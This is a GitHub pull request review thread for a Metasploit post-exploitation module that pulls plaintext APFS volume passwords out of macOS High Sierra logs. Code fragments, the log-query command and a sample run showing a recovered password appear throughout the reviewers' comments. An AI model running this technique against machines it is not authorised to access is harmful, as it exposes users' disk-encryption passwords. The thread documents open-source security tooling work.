New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add OSX High Sierra APFS volume password disclosure #9784

Merged
merged 7 commits into from Apr 18, 2018

Conversation

Projects
None yet
6 participants
@cbrnrd
Copy link
Contributor

cbrnrd commented Mar 30, 2018

This PR adds a module that uses a vulnerability in OSX's log command to get plaintext passwords of encrypted APFS volumes. This command is taken from this article and should be tested (for accuracy mainly). If it doesn't work, I will fall back to the command used in the POC.

Verification

  • Start msfconsole
  • Get a shell on an OSX High Sierra system (between 10.13.0 to 10.13.3)
  • use post/osx/gather/apfs_encrypted_volume_passwd
  • Verify it works on all reported High Sierra versions
  • Verify that the MOUNT_PATH option works as it should
  • Write docs
def check
osx_version = cmd_exec('sw_vers -productVersion')
# Would using Gem::Version checking be faster?
return CheckCode::Vulnerable if osx_version ~= /10\.13\.[0-3]/

This comment has been minimized.

@bcoles

bcoles Mar 30, 2018

Contributor

This should be =~ rather than ~=

Also, this check will also match 10.13.39999 and 99910.13.0 which may or may not cause false positives in the future. I'm not greatly familiar with the Mac OSX versioning scheme.

This comment has been minimized.

@cbrnrd

cbrnrd Mar 30, 2018

Contributor

from my experience, OSX versions are major.minor.patch but I'll check the apple docs to see if theres any other info.

This comment has been minimized.

@bcoles

bcoles Mar 31, 2018

Contributor

The conditional should probably look something like this:

if osx_version =~ /^10\.13\.[0-3]$/
cmd = "log stream --info --predicate 'eventMessage contains \"newfs_\"'"
cmd << " | grep #{datastore['MOUNT_PATH']}" if datastore['MOUNT_PATH'].empty?
vprint_status "Running \"#{cmd}\" on target..."
print_good cmd_exec(cmd)

This comment has been minimized.

@bcoles

bcoles Mar 30, 2018

Contributor

print_good even if the cmd_exec fails ? What if the command returns no results?

def run
return if check == CheckCode::Safe
cmd = "log stream --info --predicate 'eventMessage contains \"newfs_\"'"
cmd << " | grep #{datastore['MOUNT_PATH']}" if datastore['MOUNT_PATH'].empty?

This comment has been minimized.

@bcoles

bcoles Mar 30, 2018

Contributor

Isn't this the reverse logic? Append unless datastore['MOUNT_PATH'].empty? would make more sense.

osx_version = cmd_exec('sw_vers -productVersion')
# Would using Gem::Version checking be faster?
return CheckCode::Vulnerable if osx_version ~= /10\.13\.[0-3]/
return CheckCode::Safe

This comment has been minimized.

@bcoles

bcoles Mar 30, 2018

Contributor

Superfluous return

Fix some logic flaws and other review things
Also make the output more reliable
@cbrnrd

This comment has been minimized.

Copy link
Contributor

cbrnrd commented Mar 31, 2018

Docs should be up by tonight. I'm not quite sure why it's failing the sanity test (or what that test is). It just needs to be tested.

@busterb

This comment has been minimized.

Copy link
Contributor

busterb commented Apr 1, 2018

Sanity test will fail this weekend because we're in the process of moving things between data centers. Sorry about that.

@cbrnrd

This comment has been minimized.

Copy link
Contributor

cbrnrd commented Apr 1, 2018

Ah okay, all good 👍

@jmartin-r7

This comment has been minimized.

Copy link
Contributor

jmartin-r7 commented Apr 2, 2018

Jenkins test this please.

@cbrnrd

This comment has been minimized.

Copy link
Contributor

cbrnrd commented Apr 3, 2018

Docs are finished. All that's left is testing. I will need some help with this as I don't own a High Sierra machine. Any help would be appreciated :)


],
'Platform' => 'osx',
'Arch' => ARCH_X32, ARCH_X64

This comment has been minimized.

@timwr

timwr Apr 3, 2018

Contributor

ARCH_ALL

# BuildVersion: 7A100
osx_version = cmd_exec('sw_vers | grep "ProductVersion" | awk \'{ print $2 }\'')
# Would using Gem::Version checking be more reliable?
return CheckCode::Vulnerable if osx_version =~ /^10\.13\.[0-3]$/

This comment has been minimized.

@timwr

timwr Apr 3, 2018

Contributor

Assuming 10.13.0 is vulnerable, we should do:
if osx_version =~ /^10\.13[\.[0-3]]?$/
to match 10.13

$ sw_vers
ProductName:    Mac OS X
ProductVersion: 10.13
BuildVersion:   17A365
end

def run
return if check == CheckCode::Safe

This comment has been minimized.

@timwr

timwr Apr 3, 2018

Contributor

Exploit::CheckCode::Safe?
Otherwise:

[-] Post failed: NameError uninitialized constant Msf::Modules::Mod706f73742f6f73782f6761746865722f617066735f656e637279707465645f766f6c756d655f706173737764::MetasploitModule::CheckCode

def run
return if check == CheckCode::Safe
cmd = "log stream --info --predicate 'eventMessage contains \"newfs_\"'"

This comment has been minimized.

@timwr

timwr Apr 3, 2018

Contributor

I think log show rather than log stream, so that the command returns.
If not the command never returns and the session dies.

# ProductName: macOS
# ProductVersion: 10.12
# BuildVersion: 7A100
osx_version = cmd_exec('sw_vers | grep "ProductVersion" | awk \'{ print $2 }\'')

This comment has been minimized.

@timwr

timwr Apr 3, 2018

Contributor

just do osx_version = cmd_exec('sw_vers -productVersion')

Fix some bugs with command exits
Also fix a bug in check()
@timwr

This comment has been minimized.

Copy link
Contributor

timwr commented Apr 4, 2018

Hmm I'm not seeing an option to format in APFS on 10.13.0

@cbrnrd

This comment has been minimized.

Copy link
Contributor

cbrnrd commented Apr 4, 2018

Should I revert it back to the previous command (grep the full output)?

@timwr

This comment has been minimized.

Copy link
Contributor

timwr commented Apr 4, 2018

No sorry I'm struggling to reproduce the bug. APFS is not a formatting option.

@cbrnrd

This comment has been minimized.

Copy link
Contributor

cbrnrd commented Apr 4, 2018

are using the Application or the command line tool?

@cbrnrd

This comment has been minimized.

Copy link
Contributor

cbrnrd commented Apr 4, 2018

And the command you can use to encrypt the drive is newfs_apfs.
The command looks something like this:

newfs_apfs -A -i -E -S password -v VOLUMENAME disknum .

@bcoles bcoles added docs and removed needs-docs labels Apr 6, 2018

@timwr

This comment has been minimized.

Copy link
Contributor

timwr commented Apr 7, 2018

msf5 post(osx/gather/apfs_encrypted_volume_passwd) > exploit

[+] Timestamp                       Thread     Type        Activity             PID    TTL
2018-04-04 13:01:44.187221+0800 0x1c8cd    Fault       0x57b0               6241   14   diskmanagementd: diskmanagement: execve(2) pid=6241 /System/Library/Filesystems/exfat.fs/Contents/Resources/newfs_exfat -v Files /dev/rdisk1s2 .
2018-04-04 13:05:03.028476+0800 0x1ccee    Fault       0x5a20               6297   14   diskmanagementd: diskmanagement: execve(2) pid=6297 /System/Library/Filesystems/apfs.fs/Contents/Resources/newfs_apfs -i -v Files /dev/rdisk1s2 .
2018-04-04 13:05:15.730561+0800 0x1cdf8    Fault       0x5a90               6312   14   diskmanagementd: diskmanagement: execve(2) pid=6312 /System/Library/Filesystems/apfs.fs/Contents/Resources/newfs_apfs -A -i -v Untitled disk2 .
2018-04-04 13:05:35.168412+0800 0x1cfdb    Fault       0x5b60               6331   14   diskmanagementd: diskmanagement: execve(2) pid=6331 /System/Library/Filesystems/apfs.fs/Contents/Resources/newfs_apfs -i -E -S aa -v Untitled disk2s2 .
[*] Post module execution completed

I guess we could try match newfs_apfs -i -E -S password with a regex? or just match /newfs_apfs*$/ (from newfs_apfs until the end of the line).


],
'Platform' => 'osx',
'Arch' => ARCH_ALL

This comment has been minimized.

@timwr

timwr Apr 7, 2018

Contributor

I'm surprised our automated testing did not pick up the missing comma here

@cbrnrd

This comment has been minimized.

Copy link
Contributor

cbrnrd commented Apr 7, 2018

I kind of did that in my last commit. I matched for /newfs_apfs/ and /-S (.+)/. This should only get the line of text where the password is.

else
successful_lines = 0
results.lines.each do |l|
s = l.split(' ')[11..-1].join # Just the command executed

This comment has been minimized.

@timwr

timwr Apr 10, 2018

Contributor

I was getting an error here:
[-] Post failed: NoMethodError undefined method join' for nil:NilClass`
Please see cbrnrd#1

Merge pull request #1 from timwr/land-9784
match newfs_apfs regex
@cbrnrd

This comment has been minimized.

Copy link
Contributor

cbrnrd commented Apr 13, 2018

Anything new @timwr?

@timwr

This comment has been minimized.

Copy link
Contributor

timwr commented Apr 17, 2018

Apologies for the delay, it works so I think we can just land this as-is unless anyone has any further comments.
I can add the output of a successful run into the docs.

@cbrnrd

This comment has been minimized.

Copy link
Contributor

cbrnrd commented Apr 17, 2018

Okay great, thanks!

@timwr timwr merged commit f54df6a into rapid7:master Apr 18, 2018

3 checks passed

Metasploit Automation - Sanity Test Execution Successfully ran sanity checks.
Details
Metasploit Automation - Test Execution Successfully ran `autoPayloadTest.py`.
Details
continuous-integration/travis-ci/pr The Travis CI build passed
Details

timwr added a commit that referenced this pull request Apr 18, 2018

@timwr

This comment has been minimized.

Copy link
Contributor

timwr commented Apr 18, 2018

Minor tweaks: 72cd97d

@timwr

This comment has been minimized.

Copy link
Contributor

timwr commented Apr 18, 2018

Landed, thanks @cbrnrd !

@timwr

This comment has been minimized.

Copy link
Contributor

timwr commented Apr 18, 2018

Release Notes

The post/osx/gather/apfs_encrypted_volume_passwd module has been added to the framework. It recovers the password of an APFS encrypted volume from the logs of the Disk Utility app. Volumes encrypted on macOS High Sierra versions 10.13.0-10.13.2 are vulnerable.

msjenkins-r7 added a commit that referenced this pull request Apr 18, 2018

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment